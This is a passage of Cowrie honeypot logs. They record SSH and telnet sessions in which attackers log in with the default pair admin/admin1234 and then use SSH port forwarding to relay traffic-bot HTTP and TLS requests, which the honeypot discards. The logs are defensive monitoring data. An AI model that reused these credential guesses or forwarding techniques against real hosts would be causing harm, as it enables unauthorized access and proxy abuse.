\\xa8j\\xc8\\xa4\\x8d\\x10\\x1c\\xb0\\x9e\\xc4\\x95)\\xcc\\xb0\\x9e\\xf5\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 !g\\x80\\xac\\xf85\\x0e\\xb4\\x80\\x8c\\xd7\\xfd\\x94\"\\x94\\x81C\\xc1\\xdce\\xc3\\x97\\x14\\xa5\\xc2\\xa5)\\xbe\\xcfIlx\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:28.904260Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:29.280992Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.801620721817017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:38.119594Z","src_ip":"107.6.151.170","session":"6a0fa6cdffc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37378,"dst_ip":"159.203.135.109","dst_port":23,"session":"21d89a194b75","protocol":"telnet","message":"New connection: 172.81.62.90:37378 (159.203.135.109:23) [session: 21d89a194b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:40.354213Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":49720,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a609aea770c","protocol":"ssh","message":"New connection: 173.208.188.210:49720 (10.17.0.5:22) [session: 5a609aea770c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:42.227640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:42.231752Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:42.428308Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61963,"dst_ip":"10.17.0.5","dst_port":22,"session":"a69d05b6c38e","protocol":"ssh","message":"New connection: 123.27.168.40:61963 (10.17.0.5:22) [session: a69d05b6c38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:43.050031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:43.055912Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:43.295730Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:43.942936Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:44.381480Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:44.734900Z","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:44.968865Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eFU%2FUW1QWDQhbGEqTjAhWQ%3D%3D%2FFdzZxK6utRpo1h8PByNtvcF9f4dcI4qFRfpd8xG31N7q0KtYXWaThgTDEFPBES5ZD8SGseh7LdZjssXebUzVUfsDpysgmxUMsYcf5RBpfZdIKaM47S4Tz6SFdlGcjPcNfIds2QL0R%2FoTYZcTbPTxVQRsoEPEhVaB%2BiwFv16lh4HV26J2vBiikLrD8dWsugcs4MjgZ93OFcRhwJMpkzhEqBXd93zIxhtMITS%2FJaU8pFdL0k5lvEdT6zhBj66Esjm%2FSX9pGyjNzQabn6yrH5bBmkg6m89HANyiiAhJJ1GWuYfiKtoKOGBfII%2Fy7xPZFimnDUshGT4%2Fm8NrqnR%2FlomdIrEZQzdJSlYzwDTAOI88oi5BPItnTHfOre6GWPBk0rPZlG4BihAFk3v7Z3sw%2FS8glln7KoEwVlM%2BsZrdzJB5kQSDK6Y%2ByMoRC3PnNvZxfHpEtAFy5%2BRqQxAE%2BnzIt8%2B5Jjw2g7GQUdPkymxIs8e%2FE2RVCIl48oaYA7ZVvpqmoi3Isc9u%2B%2BRgq0UiRx%2B4ciPh3hkjD%2BOOF%2BOLQoUVa2TJcnyJZZGsZVH%2FqgWMhZAFNqCRB3sL3X9Drxph8upnBvir5DSPEK7DC%2Fm45A%2FR5E%2Ff76lnDcWGazPhryBe5IG2%2FR8CW%2BuyqNFPOFbYlhZLDFqyWQ6aGQbQtCoiSVYKfxnxVxXNkDdbzVn03bbogmaY4%2F11kYXrhVix00%2B42QoFjzMbPDVAH5rxSWPOVv4jMgWfFx8H0a6OgjWvCNDGWGgF2URu64GIZ8gWdixCIvFi4oJ16St7Y8v1Nd2hkqibWfjweAkLunPUi99x7pwUpX8K0hQAoZ82uVdLPbgV%2FA%2F8nfNa5QX8uFZEl57NTS%2FtKr2oTq%2F36t5Go%2Fqf3bt3LNCMwTBwxsKum5DsQrVn7LMJpidgY%2FDtcFYE1%2FgPcY1rldDHU4XP2xHnTHc8YfUIO8rbSkJrDfPpkiEag%2BN3%2BV3wER0seAGi899A%2B0NrJ3RrRtSAYdOQTdS3XAgHlv0StdzlILqq1LtPeSgi7pHd9fXfmZeKa%2F60W9fystLui7mCkeu5bErsFz02hZHA%2FGTK66gSELk'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eFU%2FUW1QWDQhbGEqTjAhWQ%3D%3D%2FFdzZxK6utRpo1h8PByNtvcF9f4dcI4qFRfpd8xG31N7q0KtYXWaThgTDEFPBES5ZD8SGseh7LdZjssXebUzVUfsDpysgmxUMsYcf5RBpfZdIKaM47S4Tz6SFdlGcjPcNfIds2QL0R%2FoTYZcTbPTxVQRsoEPEhVaB%2BiwFv16lh4HV26J2vBiikLrD8dWsugcs4MjgZ93OFcRhwJMpkzhEqBXd93zIxhtMITS%2FJaU8pFdL0k5lvEdT6zhBj66Esjm%2FSX9pGyjNzQabn6yrH5bBmkg6m89HANyiiAhJJ1GWuYfiKtoKOGBfII%2Fy7xPZFimnDUshGT4%2Fm8NrqnR%2FlomdIrEZQzdJSlYzwDTAOI88oi5BPItnTHfOre6GWPBk0rPZlG4BihAFk3v7Z3sw%2FS8glln7KoEwVlM%2BsZrdzJB5kQSDK6Y%2ByMoRC3PnNvZxfHpEtAFy5%2BRqQxAE%2BnzIt8%2B5Jjw2g7GQUdPkymxIs8e%2FE2RVCIl48oaYA7ZVvpqmoi3Isc9u%2B%2BRgq0UiRx%2B4ciPh3hkjD%2BOOF%2BOLQoUVa2TJcnyJZZGsZVH%2FqgWMhZAFNqCRB3sL3X9Drxph8upnBvir5DSPEK7DC%2Fm45A%2FR5E%2Ff76lnDcWGazPhryBe5IG2%2FR8CW%2BuyqNFPOFbYlhZLDFqyWQ6aGQbQtCoiSVYKfxnxVxXNkDdbzVn03bbogmaY4%2F11kYXrhVix00%2B42QoFjzMbPDVAH5rxSWPOVv4jMgWfFx8H0a6OgjWvCNDGWGgF2URu64GIZ8gWdixCIvFi4oJ16St7Y8v1Nd2hkqibWfjweAkLunPUi99x7pwUpX8K0hQAoZ82uVdLPbgV%2FA%2F8nfNa5QX8uFZEl57NTS%2FtKr2oTq%2F36t5Go%2Fqf3bt3LNCMwTBwxsKum5DsQrVn7LMJpidgY%2FDtcFYE1%2FgPcY1rldDHU4XP2xHnTHc8YfUIO8rbSkJrDfPpkiEag%2BN3%2BV3wER0seAGi899A%2B0NrJ3RrRtSAYdOQTdS3XAgHlv0StdzlILqq1LtPeSgi7pHd9fXfmZeKa%2F60W9fystLui7mCkeu5bErsFz02hZHA%2FGTK66gSELk'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:44.972794Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:50.328268Z","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:50.559086Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb3\\xa3\\xad\\x82\\xff\\xee\\x8b\\x10\\xc9\\x15\\x86\\x0b{\\xd0E\\xab&\\x1b\\x02\\x06\\xd4\\x7fR\\x16\\xc9e\\x84\\x11\\xb5\\x1fYm \\x1d\\xa3\\xff\\xc5j\\xa8\\xb1x\\xf5\\x14\\x0c\\xfb|\\xf4\\x16\\xf0\\x94\\xaa\\x1c\\x99\\xfe\\xf1\\xb5\\x07KRl\\xe1\\x0e\\xb5\\xd3\\xb9\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xc2`\\xc9=$\\xe4\\xb3\\\\\\xe8\\t\\xaa\\x14\\x91\\xf5\\xe7\\xaf\\x1a\\x9e\\x1f\\xd30[\\x89\\xe2\\xdfw\\xcf!\\xc5\\x16)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb3\\xa3\\xad\\x82\\xff\\xee\\x8b\\x10\\xc9\\x15\\x86\\x0b{\\xd0E\\xab&\\x1b\\x02\\x06\\xd4\\x7fR\\x16\\xc9e\\x84\\x11\\xb5\\x1fYm \\x1d\\xa3\\xff\\xc5j\\xa8\\xb1x\\xf5\\x14\\x0c\\xfb|\\xf4\\x16\\xf0\\x94\\xaa\\x1c\\x99\\xfe\\xf1\\xb5\\x07KRl\\xe1\\x0e\\xb5\\xd3\\xb9\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xc2`\\xc9=$\\xe4\\xb3\\\\\\xe8\\t\\xaa\\x14\\x91\\xf5\\xe7\\xaf\\x1a\\x9e\\x1f\\xd30[\\x89\\xe2\\xdfw\\xcf!\\xc5\\x16)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:50.562074Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:50.796849Z","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:51.028120Z","src_ip":"123.27.168.40","session":"a69d05b6c38e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe8\\xe1e_\\xbc\\xbai\\xd4\\xff\\xf9\\xac\\xc2#\\x88\\\\\\xc1\\t\\xc0\\x9d\\x0f\\xb4\\xd6PF\\x041w\\xb5\\xf5t\\x16\\x13 -\"\\x0eR\\x8d\\xe4\\x92Q\\xbc\\xfc&\\xfe\\xe6y#\\xa8\\xe3\\'h\\xc7$bg\\xdb\\xf3PH\\x08\\xdfG2\\xfa\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 